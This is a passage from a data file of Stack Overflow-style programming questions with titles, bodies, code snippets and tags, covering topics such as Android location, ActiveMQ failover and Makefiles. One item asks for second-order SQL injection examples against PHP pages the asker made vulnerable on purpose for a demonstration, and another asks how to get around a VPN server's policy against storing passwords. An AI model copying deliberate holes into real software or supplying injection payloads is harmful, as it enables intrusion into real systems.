Apple's network preference pane really enforces the remote server's policy of not
storing user passwords, so it will let me store it once when I first create the
connection, and it will let me connect with it that way, but after I disconnect it
removes the password and won't let me type in that field anymore.\n\nWhat I end up
with is a box prompting me for login credentials each time I connect. Is there a
way to bypass / auto fill this?\n\n", "", "osx mac vpn cisco ipsec"], "2272329":
["How to call C# method from AS3 script?", "I have two swf files. First (let's call
it A) one is a kind of host application with login UI, etc. The second one (B) is
generated by Unity. So, A after some actions from user load and starts B. At this
point I can easily call B (AS3) method from A (C#) and it works, but I can't call A
(C#) methods from B (AS3). There is no any information about this direction
communication on official documentation page.\nSo, I've tried this way, but it
doesn't work for me. So what I've done:\non C# (project A) side I've created
FlashCB.cs:\n\non AS3 (project B) side NetTest.as:\n\nFinally, it crashes with this
error:\n\nAm I doing something wrong?\n", "using UnityEngine;\nusing
System.Collections;\n\n[NotRenamed]\npublic class FlashCB {\n\n public static
int Func() {\n Debug.Log(\"Unity function called with message. \");\n
return 10;\n }\n}\n", "flash unity3d"], "1532353": ["How do I demonstrate a
Second Order SQL Injection?", "So I've been trying to replicate a second order SQL
Injection. Here's an example template of two php based sites that I've prepared.
Let's just call it a voter registration form. A user can register and then you can
check if you're a registered voter or not.\ninsert.php\n\nselect.php\n\nSo I
purposely made this vulnerable to show how second order SQL Injection works, a user
can type in a code into the first name section (where I am currently stuck, I've
tried many different ways but it seems that I can't get it to do anything).\nThen
when a person wants to activate the code that he has inserted in the first name
section, all he needs to do is just type in the userID and the code will be
inserted.\nFor example:\nI will type into the insert.php page as:\nuserid = 17\
nfirstname = (I need to inject something here)\nlastname = ..\nage = ..\ntown = ..\
nstate = ..\nThen when I check for my details, and type in 17, the SQL script
injected will be activated.\nCan I get few examples on what sort of vulnerabilities
I can show through this?\n", "<?php\n\n$db_selected = mysql_select_db('canada',
$conn);\nif (!db_selected)\n die(\"can't use mysql: \". mysql_error());\n\
n$sql_statement = \"INSERT into canada (UserID,FirstName,LastName,Age,State,Town)\n
values ('\".mysql_real_escape_string($_REQUEST[\"UserID\"]).\"',\n
'\".mysql_real_escape_string($_REQUEST[\"FirstName\"]).\"',\n
'\".mysql_real_escape_string($_REQUEST[\"LastName\"]).\"',\
n \".intval($_REQUEST[\"Age\"]).\",\n
'\".mysql_real_escape_string($_REQUEST[\"State\"]).\"',\n
'\".mysql_real_escape_string($_REQUEST[\"Town\"]).\"')\";\n\necho \"You ran the sql
query=\".$sql_statement.\"<br/>\";\n$qry = mysql_query($sql_statement,$conn) || die
(mysql_error());\nmysql_close($conn);\nEcho \"Data inserted successfully\";\n}\n?>\
n", "php pdo sql-injection"], "4436190": ["How save ip of user, who use random
generated ip?", "in my project i need to allow rating system for users only once.\
ni have a table in my database, where i store all ip addresses, and i check, if the
user's ip is not in database, i allow rating.\nBut now i met a problem.\nThere are
providers, that generate random ip addresses every time user restart computer.\nSo
when i call , every time it returns different result from the same computer.\nI
also tried something like \n\nBut it doesn't help.\nHow can i solve this problem?\
nThanks much\n", "$ip=$_SERVER['REMOTE_ADDR'];", "php ip-address"], "1920060":
["Why Invalidate() should be called outside the control then it can work?", "I am
using C# + winforms to develop software.\nI have a UserControl which contains
several DataGridView \n\nI use linq to sql to populate the dataGridView with
dataSource, because I need to refresh the datasource to update the records, so I
create a new dataContext and assign the datasource again. \n\nAt first I found,
although I reset the datasource, the datagridview still can not get refreshed,
someone tell me that I should call the invalidate function on datagridview, I
tried. To a certain extent, it works.\nBut If I called the Invalidate inside the
UserControl's class, it won't work.\nIf I create a public function on the
UserControl's class, then call it with userControl.refreshRecord(), Then it
works.\nCan someone point me what am I missed ? When someone call invalidate, when
will it really work?\nThanks in advance !\n", "datagridview1.datasource = from p in
dc.doctor select p;\n", "c# winforms linq-to-sql datasource invalidate"],
"4865553": ["I want to print from any application, and it create an email in
outlook", "I'm going to try to go paperless in 2010, and store everything in my
outlook mail folders.\nI realized that most of the paper I currently have is just
printouts from web sites or other apps. So I want to be able to print from any
application to a printer driver that creates a an email with pdf attachment in my
outlook inbox. Then I can file that in the appropriate folder. \nAny ideas?\n",
"", "outlook print-to-pdf"], "5023305": ["How to add 2 Dictionary contents without
looping in c#", "I have 2 dictionaries of type <string,object> in C#\nHow can I
copy all the contents of one Dictionary object to the other without applying a
loop?\n", "", "c# collections"], "3305847": ["javafx.stage.FileChooser", "How
should I add javafx.stage.FileChooser to the scene in a javafx gui application.\nI
did the following\n\nHowever I get the following error.\n\nCould some one provide
any tip?\n", "Group root = new Group(); \nScene scene = new
Scene(root,800,800,Color.BLANCHEDALMOND);\nFileChooser fc = new FileChooser();\
nroot.getChildren().add(fc);\n", "java javafx"], "6009654": ["\"Worker object
pool\" pattern?", "In my application requests are processed by objects of -derived
classes, something like or . Base Processor class implements most of common
processing logic, and derived ones make some specific business logic related
tasks.\nAn object of a certain processor type is created before request processing,
and then wiped out afterward. \nEventually it came to a situation, when creation of
a single processor object was taking major part of request processing time. So now
I'm thinking about creation of a pool of request processor objects, and reuse them
instead of using create/delete approach.\nThe problem here is that any single
object is not thread-safe, and actually shouldn't be tread-safe: it stores request-
specific data inside. So my general approach to that is as follows:\n\nTry to
acquire 'processor' from a pool;\nIf there are no any available, wait;\nWhen we
have processor available, mark that as 'working' and start processing;\nWhen job is
done, \"return\" processor to the pool;\nNotify pool that free processor is
available.\n\nIs there a kind of design pattern for that? Am I missing something
from the existing GoF patterns? Any C#-related implementation details? \n",
"Processor", "c# design-patterns"], "1789495": ["Force browser not to show print
dialog", "i want to print a document from browser using window.print(). I want
browser not to show standart print dialog on current machine. I have all access to
system registry and settings on it. Is there way to tweak the system in this way?\
nps. Excuse me for my english.\n", "", "windows printing dialog"], "3559621":
["Given the lat/long coordinates, how can we find out the city/country?", "For
example if we have these set of coordinates\n\nHow can we find out the
city/country?\n", "\"latitude\": 48.858844300000001,\n\"longitude\": 2.2943506,\n",
"geolocation geocoding geospatial geo"], "4899000": ["How to add quote marks to
text in HAML code", "I have the following HAML code\n\nThe result in the browser is
as such\n\nHow can I add quote marks to this text so that is shows \"test remuse\"
instead?\n", "//add some text\n%div.text\n <%= answer.text %>\n", "haml double-
quotes"], "2720241": ["Deploying .net library for COM", "I've built a class library
and registered it for com access using visual studio build options. This library
will be accessed by excel VBA. How do I create an MSI to instal this on another
computer that will be using the same excel file?\n", "", ".net com"], "4990214":
["how to implement a carousel of uitableviews?", "I need to implement a circular
scrolling carousel in which each view in it is a table view with data loaded from
the internet. \nI really don\u00b4t know which is the best approach to implement
it, i was thinking maybe in using nick lockwood's icarousel but i am not completely
sure.\nAny thoughts on which is the best approach?\nThanks for any insights that
you can provide me.\n", "", "iphone uitableview icarousel"], "4859649": ["google
maps loading map on button click - loading markers with another button", "I'm
trying to load markers on the click of a button, but somewhere i'm missing
something. 1. map pulls out and loads with one button click. 2. markers load
with the click of a different button. here's what i have:\n\nxml sample:\n\n", "<!
DOCTYPE>\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html;
charset=utf-8\"/>\n<title></title>\n\n<link rel=\"stylesheet\" type=\"text/css\"
href=\"\n <?php \n $stylesarray = array(\"field\"); \n echo
$stylesarray[mt_rand(0,count($stylesarray)-1)]; \n ?>.css\">\n\n<link
rel=\"shortcut icon\" href=\"images/favicon.ico\">\n<script
src=\"http://code.jquery.com/jquery-latest.js\"></script>\n\n<script
src=\"http://maps.googleapis.com/maps/api/js?key=xxx&sensor=false\"></script>\
n<script type=\"text/javascript\"> \n\nvar map = null;\n\n$
(document).ready(function(){ \n\n var
lat=document.getElementById(\"latitude\");\n var
long=document.getElementById(\"longitude\"); \n if (navigator.geolocation)
{\n navigator.geolocation.getCurrentPosition(showPosition); \n } \n
function showPosition(position) {\n lat.value=+position.coords.latitude;\n
long.value=+position.coords.longitude;\n } \n });\n\nfunction load() {\n\
nvar map = new google.maps.Map(document.getElementById(\"mapcontainer\"), {\n
center: new google.maps.LatLng(20,0),\n zoom: 3,\n styles: mapstyle,\n
mapTypeControl: false,\n navigationControl: false,\n streetViewControl:
false,\n maxZoom: 8,\n minZoom: 3,\n mapTypeId: 'roadmap'\n });\n}\n\
nfunction getmarkers(){\n downloadUrl(\"markers.php\", function(data) {\n
//alert (\"it works\");\n var xml = data.responseXML;\n var markers =
xml.documentElement.getElementsByTagName(\"marker\");\n for (var i = 0; i <
markers.length; i++) {\n var id = markers[i].getAttribute(\"id\");\n var
info = markers[i].getAttribute(\"info\");\n var point = new
google.maps.LatLng(\n parseFloat(markers[i].getAttribute(\"latitude\")),\n
parseFloat(markers[i].getAttribute(\"longitude\")));\n var date =
markers[i].getAttribute(\"date\");\n var html = \"<div id='tooltip'><div
id='tiptext'>\" + info\n + \"<div id='number'>\" + id +
\"</div>\"\n + \"<div id='date'>\" + date + \"</div>\" \n
+ \"</div></div>\";\n var marker = new google.maps.Marker({\n map:
map,\n position: point,\n icon: 'images/mapicon.png'\n\n });
\n createTooltip(marker, html);\n }\n });\n\n</script>\n </head>\n
<body>\n<div id=\"mapcontainer\">\n<form>\n <input type=\"button\" id=\"map\"
onClick=\"load()\"></input> \n</form>\n<form> \n <input type=\"button\"
onClick=\"getmarkers()\"></input>\n</form>\n\n</body>\n</html>\n", "google-maps-
api-3 onclick google-maps-markers"], "1803850": ["require_once in php", "I have a
php file which has a require_once Statement (?) this file is then in included in 2
other php files, one php file is in a sub directory so the layout is like this
(\"file1\" and \"file2\" include the file \"included\" which require_onces
the \"required\")#\n\nHow can I reference the \"required\" file from
the \"included\" file so that it will work from both file1 and file2?\n", " L--
subfolder1\n | L--file1\n L--subfolder2\n | L--required\n L--file2\n L--included\
n", "php path relative-path
require-once"], "5317551": ["Running Selenium RC as a Windows Service", "I'm
trying to get Selenium setup to run as a windows service. It seems to be okay but,
then does not seem to run properly.\nUsing the windows toolkit I have done:\n\
nSaved the following as a.reg file (and then double clicked it)\n\nMy SeleniumUser
has been granted log on as a serivce permission.\nStarted the service in Services
MMC\nBut when I come to run my test hub (simple UI to call and run tests) I click
run on a test then it just sits with the plage loading swirly thing and says
waiting for a response from the server.\nIts almost as if it is running but, it
doesnt connect.\nIf I run the java call through the command line, it tells me
another service is running on that port. \nIf I stop the windows service and then
run the command again, it works (and so do my tests)\nDoes anyone have any ideas
whats going on?\n", "\"C:\\Program Files\\Windows Resource Kits\\Tools\\
instsrv.exe\" SeleniumRC\n\"C:\\Program Files\\Windows Resource Kits\\Tools\\
srvany.exe\" -a [SeleniumUser] -p [SeleniumUserPass]\n", "windows-services
selenium-rc"], "5015243": ["Write to a fifo pipe from a Python program", "I a
trying to control the volume of mplayer from a python program. The mplayer program
gets started from a bash script:\n\nThen I have a GUI written in Python that is
supposed to be able to control the volume of the instance of mplayer that is being
played. I have tried the following:\n\nThat works if i substitute $musicvol with
the numeric value instead, but that is unfortunately of no use. I need to be able
to pass the variable.\nI would also be able to solve it by invoking a bash script
from the Python application, but I can not get that to work either:\
nsubprocess.call(\"/home/administrator/files/setvolume.sh\", executable=\"bash\",
shell=True)\nAny ideas?\nThx in advance/J\n", "#!/bin/bash\nmkfifo
/home/administrator/files/mplayer-control.pipe\n/usr/bin/mplayer -slave -input
file=/home/administrator/files/mplayer-control.pipe
/home/administrator/music/file.mp3\n", "python bash pipe"], "2787784": ["SBS 2008
Move data wizard crashing when moving Redirected Folders", "\nPossible Duplicate:\
nSBS 2008 Move Data Wizard crashing. Moving Redirected User Data \n\nTrying to
migrate data from to via the SBS console is failing.\nThe wizard starts running
but drops out in the first few seconds.\nI'll post the full logs, but the important
line appears to be as follows:\n\nWMI error occurred while accessing drive\n\nThis
server has 2 partitions on a RAID 5 array, Both of them are and . There is also a
drive and a network drive mapped. The free space on the drive exceeds the total
capacity of .\nThrough earlier research I have discovered that the errors towards
the beginning can be largely ignored as the move data wizard continues regardless.
The error causing the actual crash appears to be around \nAnyone come across and
fixed this one before?\n\n", "C:", "windows-sbs-2008 data folder-redirection data-
migration"], "3937023": ["Replace all occurrences of a string in given char/byte
array in C#", "I come from C++ background and was wondering whether in C# exist any
magic that would let me to do the following:\n\nIs there a chance to do it fast
(not write all things by hand) and efficient (have one copy of buffer)?\n", "char[]
buf = new char[128*1024*1024];\n// filling the arr\nbuf =
buf.ToString().Replace(oldstring, newstring).ToArray();\n", "c# arrays string
replace char"], "5221254": ["Why are snapshots considered as temporary backups not
real backups?", "I am using VMware ESXi. In our team we use to provide snapshots
for long term backup.\nThen we faced issues like memory spillover and the server
got hang up.\nI started reading in VMware knowledgebase articles and everywhere.
Everywhere it was recommended not to have snapshots for a long time.\nEven VMware
advised to keep snapshots for maximum of three days. \nBut our team kept asking us
to have at least two permanent snapshots (till deleting the VM). Sometimes we may
use the VM for a year).\n\none snapshot is for fresh machine state. (So when we
complete testing an application, we will revert back to fresh state and install
another application) (If I did not allow that, I may often need to host the VM.)\
nNext snapshot for keeping the VM in some state (maybe they would have found an
issue and keep that state for some time. Or they may install prerequisites for the
application and keep the machine ready for testing.)\n\nLogically, their needs
seems to be fair. But if I allow that, I am to permit them to hold the snapshots
for long time. We are not using our VM as a mail server or database server. \nWhy
is keeping snapshots for long time having an adverse effect? \nWhy are snapshots
considered as temporary backups, not real backups?\n", "", "vmware-esxi vmware-
vsphere snapshot"], "357184": ["Scale/Animate jQuery Draggable when dropped into
droppable", "I have a series of draggable images and some droppable folders. I'm
looked around the web and can't find any plugins/code on a way to create a effect
inwhich when a draggable is dropped onto a droppable, it scales downwards into the
droppable area and fades out.\nBasically, something similar to when you drag an
icon into a folder in OSX. I'm trying to give the user the visual feedback that the
image has been added to a folder.\nI should add that I do not want to remove/move
the draggable from the screen. I am using 'clone' to provide the visual feedback
that the dragging is taking place.\nAny suggestions/code/ideas?\nUPDATE\nWorked a
little bit more while looking at clone() in jquery. I have come up with the
following, however the position of the clone seems to be quite random. Ideally, I
would like the clone to be positioned over the droppable when performing the
animation.\n\n", "$('#photoscontainer').append($
(r.photos[i].thumbnailhtml).draggable({\n
helper:\"clone\",\n stop: function(event,ui){\n\n
clone = ui.helper.clone();\n $
(this).append(clone.addClass('inside-drop-zone').draggable({\n
containment: '.drop-zone'\n }));\n
clone.animate({\n opacity: 0,\n
width: \"0\",\n height: \"0\"\n
});\n }\n\n\n })\n
);\n", "javascript jquery jquery-ui draggable droppable"], "4859648": ["Getting
Android Location and return \"unknown\" or null when providers are unavailable",
"I'm using this script by Fedor but I want a little difference: When both GPS and
Network Provider is unavailable, I want to app to return null or \"unknown\"
string. I modified the script, but when I run, it force closes, the logcat says:\n\
nI have the following codes:\nMyLocation.java\n\nGetALocation2.java\n\nI'm kinda
new to java and android, many thanks for any help! :)\n", "package
com.example.GetALocation2;\nimport java.util.Timer;\nimport java.util.TimerTask;\
nimport android.content.Context;\nimport android.location.Location;\nimport
android.location.LocationListener;\nimport android.location.LocationManager;\
nimport android.os.Bundle;\n\npublic class MyLocation {\n Timer timer1;\n
LocationManager lm;\n LocationResult locationResult;\n boolean
gps_enabled=false;\n boolean network_enabled=false;\n\n public boolean
getLocation(Context context, LocationResult result)\n {\n //I use
LocationResult callback class to pass location value from MyLocation to user code.\
n locationResult=result;\n if(lm==null)\n lm =
(LocationManager) context.getSystemService(Context.LOCATION_SERVICE);\n\
n //exceptions will be thrown if provider is not permitted.\n
try{gps_enabled=lm.isProviderEnabled(LocationManager.GPS_PROVIDER);}catch(Exception
ex){}\n
try{network_enabled=lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);}catch(E
xception ex){}\n\n //don't start listeners if no provider is enabled\n
if(!gps_enabled && !network_enabled)\n return false;\n\n
if(gps_enabled)\n
lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
locationListenerGps);\n if(network_enabled)\n
lm.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0,
locationListenerNetwork);\n\n timer1=new Timer();\n
timer1.schedule(new GetLastLocation(), 20000);\n\n return true;\n }\n\n
LocationListener locationListenerGps = new LocationListener() {\n public
void onLocationChanged(Location location) {\n timer1.cancel();\n
locationResult.gotLocation(location);\n lm.removeUpdates(this);\n
lm.removeUpdates(locationListenerNetwork);\n }\n public void
onProviderDisabled(String provider) {}\n public void
onProviderEnabled(String provider) {}\n public void onStatusChanged(String
provider, int status, Bundle extras) {}\n };\n\n LocationListener
locationListenerNetwork = new LocationListener() {\n public void
onLocationChanged(Location location) {\n timer1.cancel();\n
locationResult.gotLocation(location);\n lm.removeUpdates(this);\n
lm.removeUpdates(locationListenerGps);\n }\n public void
onProviderDisabled(String provider) {}\n public void
onProviderEnabled(String provider) {}\n public void onStatusChanged(String
provider, int status, Bundle extras) {}\n };\n\n class GetLastLocation
extends TimerTask {\n @Override\n public void run()
{\n lm.removeUpdates(locationListenerGps);\n
lm.removeUpdates(locationListenerNetwork);\n\n /*\n
Location net_loc=null, gps_loc=null;\n\n\n if(gps_enabled)\n
gps_loc=lm.getLastKnownLocation(LocationManager.GPS_PROVIDER);\n
if(network_enabled)\n
net_loc=lm.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);\n\n\n
//if there are both values use the latest one\n if(gps_loc!=null &&
net_loc!=null){\n if(gps_loc.getTime()>net_loc.getTime())\n
locationResult.gotLocation(gps_loc);\n else\n
locationResult.gotLocation(net_loc);\n return;\n }\n\n
if(gps_loc!=null){\n locationResult.gotLocation(gps_loc);\n
return;\n }\n if(net_loc!=null){\n
locationResult.gotLocation(net_loc);\n return;\n }\n
*/\n\n locationResult.gotLocation( null );\n }\n }\n\n
public static abstract class LocationResult{\n public abstract void
gotLocation(Location location);\n }\n}\n", "android networking gps location"],
"4422543": ["Java Immutability of Strings, with the \"+=\" operator", "There's
plenty of questions about string immutability in Java, for which the author of the
question actually re-assigns the reference.\nThere's however a remarkable case in
which it seems there's not a re-assignment of the string:\n\nYou see that as an
actual modification of the string. Try it at home.\nI'm pretty sure that this is
some kind of syntactic sugar, and gets translated by the compiler in something
having the same semantics as:\n\nCan someone confirm this fact?\n", "String s
= \"hello\";\ns += \" world\";\n", "java string immutable-class"], "2816359":
["What is the life cycle of an ASP.NET file upload on code behind?", "I would like
to know what events get executed (if any) after a user has selected to submit a
file for upload on an ASP.NET page.\nWould I need to tweak anything at the IIS
level? \nShould the page life cycle events be triggered when the user uploads a
file?\nI see different behaviour on my development server from Visual Studio in
regards to the IIS server I deploy to:\n\non the development server, the life\n
cycle events get triggered when a file\n gets selected, on the deployed server\n
they don't..\n\nWhat classes would I need to override, what settings should I
change, in order to tweak the default behaviour of the upload?\nThe problem I am
having, is finding documentation on how to have code executed before the file gets
uploaded, but after a file got selected. \nP.S. this is related to a previous
question of mine here, but approached in a very different way in the hopes of
understanding the whole upload process, so I thought it's a different question all
together.\n", "web.config", "c# asp.net file-upload"], "5978243": ["What is wrong
with my simple g++ Makefile?", "I have an header file, sieve.h, that has no cpp
file. Here is what I have for the makefile as of right now:\n\nI get the error when
I make it:\n\nThis is Sieve:\n\nAnyone have more experience writing makefiles to
tell me what is wrong with this?\n", "bitarray_executable: bitarray.o sieve.o
main.o\n g++ -o bitarray.out bitarray.o sieve.o main.o\n\nsieve.o: sieve.h\n
g++ -o sieve.o -c sieve.h\n\nmain.o: main.cpp bitarray.h sieve.h\n g++ -o main.o
-c main.cpp\n\nclean:\n rm -f *.o bitarray\n", "c++ makefile"], "3757928":
["Generate tags base on sentence given. this is for search engine C#", "I'm
creating a search engine on one of my project using lucene & asp.net mvc c#.\nI
just wanted to implement auto tagging when the user enter a sentence. Is there an
opensource API that can handle this?\nExample, user enter this sentence:\n\"We
offer proofreading services & outsourcing.\"\nThe API then generates tags like: \
n\"proofreading\", \"outsource\"\nIs there a plugin for lucene that can generate
tags or other non-lucene APIs?\n", "", "c# search-engine lucene.net tagging"],
"913601": ["Detailed instructions on running maven built resteasy project from
inside eclipse's tomcat server?", "I could use some detailed instructions on how to
do this.\nBy \"this\", I mean that I have a maven pom.xml, and I have installed it.
\nThe project uses resteasy and is a simple jax-rs webservice. \nNow I simply want
to run it using the tomcat server that I have in Eclipse.\nI don't want to have to
copy the .war file to my tomcat's webapps directory, and then launch firefox
separately. I can get the index.jsp working from inside Eclipse, but I can not get
the actual service to work. I can get the entire project working when I just
manually copy the .war inside tomcat's webapps directory and launch from the
command line.\nAll tutorials are inadequate for me so far, as they assume alot of
prior knowledge or are out of date due to dated repositories or inexplicable quirks
in with the combo if eclipse, maven, tomcat 7.\n", "", "eclipse tomcat maven jax-
rs"], "5244450": ["How to identify a Google OAuth2 user?", "I used Facebook login
to identify users. When a new user comes, I store their userID in my database. Next
time they come, I recognized their Facebook ID and I know which user it is in my
database.\nNow I am trying to do the same with Google's OAuth2, but how can I
recognize the users?\nGoogle sends me several codes and tokens (access_token,
id_token, refresh_token), however none of them are constant. Meaning if I log out
and log back in 2 minutes later, all 3 values have changed. How can I uniquely
identify the user?\nI am using their PHP client library:
https://code.google.com/p/google-api-php-client/\n", "", "login google-api oauth-
2.0"], "1547202": ["Workflow to \"backport\" change into different Mercucial
branch?", "We have two heads. One is our main development head and the other is
one that I forgot about until today. We found a bug and fixed it in our main
development branch, and I just realized it should be fixed in the older branch as
well. \nI think it would have been better to make the change on the older branch
and merge that with the up-to-date branch, but we didn't do it that way. Can
mercurial handle this? We haven't tried to do anything like this and I can't
really wrap my head around how it would be done.\n", "", "version-control mercurial
branch cherry-pick"], "3074849": ["QueryOver with Join and Distinct", "I use the
follow QueryOver:\n\nThis creates:\n\nBut I want\n\nI want select all Properties of
Contact.\nBest Regards, Thomas\n", "var query = searchTermRepository.GetAllOver()\n
.Where(Restrictions.On<Entities.SearchTerm>(c => c.Text).IsLike(filter.Value,
MatchMode.Start))\
n .Select(Projections.Distinct(Projections.Property<Entities.SearchTerm>(x =>
x.Contact)))\n .Inner.JoinQueryOver(x => x.Contact).Take(100);\n", "nhibernate
join distinct queryover"], "1991102": ["Disable vi from going to the last visited
line upon file opening", "Is there something I can put in my file to prevent from
going to the last line I was on last time I had the file open and just set the
cursor at the top by default?\nI think it is distro-specific -- it doesn't behave
like that on Solaris but does on RHEL\nThanks\n", "exrc", "vim vi"], "3957820":
["Android 4.x Bluetooth issues with low freq. headset profile changed! why?", "We
are using application which get low frequency audio signal from HFP\nBT point. We
have used Android version 3.xx which work fine. and the\nBT point was define as
headset point\nWhen we have upgrade the android version to 4.xx the BT point is\
ndefine as audio phone and the low frequency are being cut out. We\ndidn\"t find
anyway to define the BT point as headset.\n\nIs there any way to define BT point as
headset in android 4.xx\nCan we upload the Android 3.xx BT stack to android 4.xx\n\
nthanks\n", "", "java android bluetooth headset"], "1803852": ["Which packages can
you use to improve the typographic quality?", "List here which packages can be used
to make text easier to read and nicer to look at. After all, the superior
typographic quality is one of the main reasons to prefer LaTeX to, for example, MS
Word.\n", "", "packages pdftex typography"], "886310": ["How to create horizontal
menu in android?", "I am working on horizontal menu that will open on top of the
screen.\nLayout is something like following,\n|| < || Menu Item1 || Menu Item2 ||
Menu Item3 || > ||\nI want to put this on top of the screen. It can have more than
3 menu\nitem and it can traverse through previous and next arrow.\nI started with
like this,\n\nRelativeLayout ( width - fill_parent)\n\nGallery View ( Here i
appended adapter )\n\n\nThere is two problem,\n- Gallery view contains the space
before and after\n- While scrolling its item gets selected\nThough its not ideal
solution for this. How can i build custom\ncomponent like this ?\nAny help
appreciated.\nThanks\n", "", "android user-interface custom-controls android-
widget"], "5285651": ["Recommendations for Web application performance benchmarks",
"I am about to start testing an intranet web application. Specifically, I have to
determine the application's performance.\nPlease could somone suggest
formal/informal standards for how I can judge the application's performance.\n",
"", "performance testing web-applications benchmarking"], "2396143": ["How to
suppress Joomla's JUser::_load:Unable to load user with id error message?", "I have
a Joomla 1.6 installation that operates on two databases: joomla's database and
domain-specific database, both on the same MySQL server. Some entities in the
domain-specific database keeps their ownership links, i.e. stores user_id of Joomla
user that created it. Some of the links are inconsistent and points
to non-existent Joomla user, it is normal from domain model point of view. The
problem is when I try to get user name it shows \n\nSince it is OK to have such
links, I need to suppress this messages. The exact code that retrieves user name is
just the following:\n\nWrappig this code into does not help.\nOf course I could do
it by hacking Joomla's internals, but is there any cleaner solution? I'm new to
Joomla, so maybe there is some option in admin panel to suppress those messages?\
nUPDATE: Setting display_errors=>off, html_errors=>off, display_startup_errors=>off
noes not help. Using PHP error suppression with @ as does not help too.\n",
"JUser::_load:Unable to load user with id 1\n", "php joomla joomla1.6"], "5971775":
["Rake not recognizing .ssh/config file", "Hi guys I have been searching for the
solution and while it is probably something obvious it is escaping me.\nI am trying
to use rake to run some tasks over ssh via the system command but it doesn't
recognize my .ssh/config file.\nFor example:\n\nThis gives me the error:\n\nWhen I
run the command from the command line outside of rake it runs fine.\nIt also works
when tested in irb:\n\nAny ideas on what (probably completely obvious thing) I am
missing with rake? \n", "task :my_task\n system(\"ssh myserver 'command on
myserver'\")\nend\n", "ruby rake"], "1277082": ["Inconsistent null attribute
handling in ASP.NET MVC 4", "I have been trying to handle optional HTML and
attributes in ASP.NET MVC 4. For my surprise, I found out that attributes in HTML
helpers are rendered as empty strings while they are removed completely in Razor
(desired behavior).\nFor example, this code:\n\nRenders:\n\nBasically what I want
to know is:\n\nWhat is the reason behind these two different behaviors?\nIs there a
way to get the same result using without writing any custom code?\n\nEDIT\nThis is
not possible without writing a custom Html Helper, but there's a feature request
for this on CodePlex.\n", "required", "asp.net-mvc asp.net-mvc-4 razor html-
helper"], "3169893": ["Simple Least Squares Regression?", "I have a vector X of 50
real numbers and a vector Y of 50 real numbers.\nI want to model them as\n\nHow do
I determine a and b such that it minimizes the square of the error to this training
set?\nThat is given\n\nWhat is the closed form for\n\nSee also:
http://codereview.stackexchange.com/questions/10122/c-correlation-
leastsquarescoefs\n", "y = ax + b\n", "linear-algebra statistics regression
machine-learning"], "4479946": ["Updating an NSManagedObject when using different
NSManagedObjectContexts", "I have a table view hooked up to a
NSFetchedResultsController that is listening on an UIManagedDocument's
managedObjectContext. Works fine. Now, I am creating a new object in a background
context (whose parent is the UIManagedDocument's managedObjectContext). That object
pops up in my table view as expected.\nNow, at some later point I am updating that
object I just created. I am updating it in the background context, but for some
reason, once the update is done the table view actually shows two (duplicate)
objects, instead of just one. I am confused why this is happening, but it must be
due to using different contexts. In fact, I verified that I am only creating the
object once (using insertObject:...).\nAny idea on how to fix this? Thanks!\n", "",
"ios uitableview nsfetchedresultscontrolle nsmanagedobjectcontext"], "905772":
["android share image in ImageView without saving in sd card", "I want to Share the
image in image view.but i don't want save to SDcard. \nBut when i use Intent to
share i used code \n\nhere Path specified location of image in sdcard \nbut i don't
want save image ... is there possible .. \n", "Intent share = new
Intent(Intent.ACTION_SEND);\n share.setType(\"image/jpeg\");\n
share.putExtra(Intent.EXTRA_STREAM,Uri.parse(path));\n
startActivity(Intent.createChooser(share, \"Share Image\")); \n", "android
bitmap"], "4460778": ["activeMQ multiple consumer issue", "We have two instances of
activemq configured as a cluster and a cluster of four glassfish instances, that
should be connected to ONE activemq at any given time. If activemq01 is
unavailable, all four glassfish instances should failover on activemq02. \nI've
noticed several times, that for unknown reason, one of (random) glassfish instances
will failover on activemq02, and remaining three instances will still be connected
to activemq01, even though activemq01 was NOT down, and all glassfish instances
should have been listening on activemq01. \nLogs don't indicate anything that would
explain this behavior, all I can see if that one glassfish instance couldn't
connect to activemq01 and failedover on activemq02. \nHave anybody experienced the
same or similar issues? Any help/advise is greatly appreciated. \nHere are my
activemq configs : \nactivemq01 : \n\nhttp://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.0.xsd \n
http://activemq.apache.org/schema/core
http://activemq.apache.org/schema/core/activemq-core.xsd\">\n\n \n file:$
{activemq.base}/conf/credentials.properties\n \n \n\n\n\n\n\n#\n\nactiveMQ02:\
n\nhttp://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.0.xsd \n
http://activemq.apache.org/schema/core
http://activemq.apache.org/schema/core/activemq-core.xsd\">\n\n \n file:$
{activemq.base}/conf/credentials.properties\n \n \n\n\n\n\n\n\n\nversion of
activeMQ - 5.4.1\n", "<managementContext>\n <managementContext
connectorPort=\"1093\" createConnector=\"true\"/>\n</managementContext>\n\
n<networkConnectors>\n <networkConnector name=\"amq-prod\"
uri=\"static://(tcp://127.0.0.1:61616,tcp://192.168.0.167:61616)\"
/>\n</networkConnectors>\n\n\n<persistenceAdapter>\n <kahaDB directory=\"$
{activemq.base}/data/kahadb\"/>\n</persistenceAdapter>\n\n<plugins>\n
<loggingBrokerPlugin logAll=\"false\" logConnectionEvents=\"true\"/>\n</plugins>\n\
n\n<systemUsage>\n <systemUsage>\n <memoryUsage>\n <memoryUsage
limit=\"2048 mb\"/>\n </memoryUsage>\n <storeUsage>\n <storeUsage
limit=\"2 gb\" name=\"prod\"/>\n </storeUsage>\n <tempUsage>\n
<tempUsage limit=\"2000 mb\"/>\n </tempUsage>\n </systemUsage>\n</systemUsage>\
n\n<transportConnectors>\n <transportConnector name=\"openwire\"
uri=\"tcp://0.0.0.0:61616\" updateClusterClients=\"true\"
/>\n</transportConnectors>\n", "glassfish activemq"], "4401638": ["Get the final
destination after WP_Http redirects (WordPress)", "I'm doing some requests to an
API via WordPress, and the API uses SSL connections if they're turned on in the API
settings. I'd like to determine whether SSL is turned on or off without having to
ask the user if SSL is turned on on their account, and the API does a good job at
